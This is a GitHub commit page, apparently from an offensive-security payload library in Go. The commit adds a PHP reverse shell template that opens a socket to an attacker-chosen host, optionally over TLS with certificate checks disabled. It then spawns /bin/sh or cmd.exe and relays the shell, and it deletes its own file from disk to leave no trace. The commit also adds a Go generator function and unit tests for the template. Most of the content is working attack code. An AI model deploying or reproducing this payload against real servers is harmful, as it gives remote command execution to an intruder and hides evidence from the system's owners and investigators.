Skip to content

Commit

Permalink
Payload: Adds a self-delete unflattened PHP variant
Browse files Browse the repository at this point in the history
A few times now I've needed the PHP file to self-delete in order to make
sure that a file does *not* exist on disk due to potential name
collisions. Plus it's probably better to clean up sometimes :)
  • Loading branch information
terrorbyte committed Dec 31, 2024
1 parent 05976d7 commit 53dffe7
Show file tree
Hide file tree
Showing 2 changed files with 105 additions and 1 deletion.
88 changes: 87 additions & 1 deletion payload/reverse/php.go
Original file line number Diff line number Diff line change
Expand Up @@ -73,6 +73,81 @@ while(true) {
}
}
?>`
PHPUnflattenedSelfDelete = `<?php
class Del {
function __destruct() {
unlink(__FILE__);
}
}
$d = new Del();
unlink(__FILE__);
function dataTransfer($input, $output) {
$data = fread($input, 1024);
fwrite($output, $data);
}
function windowsDataTransfer($input, $output) {
$size = fstat($input)['size'];
while ($size > 0) {
$readAmount = $size %% 1024;
$data = fread($input, $readAmount);
if (fwrite($output, $data)) {
$size -= $readAmount;
}
}
}
$windows = false;
$prog = "/bin/sh";
if (strpos(strtolower(PHP_OS), "win") !== false) {
$windows = true;
$prog = "cmd.exe";
}
$context = stream_context_create([
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false
]
]);
$stream = stream_socket_client("%s", $errno, $errstr, ini_get("default_socket_timeout"), STREAM_CLIENT_CONNECT, $context);
$process = proc_open($prog, array(0=>array("pipe", "r"), 1=>array("pipe", "w"), 2=>array("pipe", "w")), $pipes);
stream_set_blocking($stream, 0);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
while(true) {
if (feof($stream) || feof($pipes[1])) {
break;
}
$readArray = array($stream, $pipes[1], $pipes[2]);
$empty = null;
$selected = stream_select($readArray, $empty, $empty, null);
if (in_array($stream, $readArray)) {
dataTransfer($stream, $pipes[0]);
}
if ($windows == false) {
if (in_array($pipes[1], $readArray)) {
dataTransfer($pipes[1], $stream);
}
if (in_array($pipes[2], $readArray)) {
dataTransfer($pipes[2], $stream);
}
} else {
if (fstat($pipes[1])["size"]) {
windowsDataTransfer($pipes[1], $stream);
}
if (fstat($pipes[2])["size"]) {
windowsDataTransfer($pipes[2], $stream);
}
}
}
?>`
)

Expand All @@ -89,7 +164,7 @@ func (php *PHPPayload) LinuxInteractive(lhost string, lport int) string {
// will selected cmd.exe or /bin/sh accordingly.. The user also specifies if the reverse shell
// should be encrypted or not.
//
// reverse.PHP.Unflattened("10.9.49.80", 1270, true).
// reverse.PHP.Unflattened("10.9.49.80", 1270, true).
func (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bool) string {
hostname := fmt.Sprintf("%s:%d", lhost, lport)
if encrypted {
Expand All @@ -98,3 +173,14 @@ func (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bool) stri

return fmt.Sprintf(PHPUnflattened, hostname)
}

// Creates an encrypted reverse shell using PHP, same as Unflattened, but attempts to self-delete
// and sets up destructors to delete file on disk when command exits.
func (php *PHPPayload) UnflattenedSelfDelete(lhost string, lport int, encrypted bool) string {
hostname := fmt.Sprintf("%s:%d", lhost, lport)
if encrypted {
hostname = "tls://" + hostname
}

return fmt.Sprintf(PHPUnflattenedSelfDelete, hostname)
}
18 changes: 18 additions & 0 deletions payload/reverse/reverse_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -137,6 +137,24 @@ func TestPHPUnflattened(t *testing.T) {
}
}

func TestPHPUnflattenedSelfDelete(t *testing.T) {
payload := reverse.PHP.UnflattenedSelfDelete("127.0.0.1", 8989, true)
if !strings.Contains(payload, `stream_socket_client("tls://127.0.0.1:8989",`) {
t.Fatal(payload)
}
if !strings.Contains(payload, `__destruct`) {
t.Fatal(payload)
}

payload = reverse.PHP.UnflattenedSelfDelete("127.0.0.1", 8989, false)
if !strings.Contains(payload, `stream_socket_client("127.0.0.1:8989",`) {
t.Fatal(payload)
}
if !strings.Contains(payload, `__destruct`) {
t.Fatal(payload)
}
}

func TestGroovyClassic(t *testing.T) {
payload := reverse.Groovy.GroovyClassic("127.0.0.2", 9000)
expected := `shell='/bin/sh';if(System.getProperty('os.name').indexOf('Windows')!=-1)shell='cmd.exe';` +
Expand Down

0 comments on commit 53dffe7

Please sign in to comment.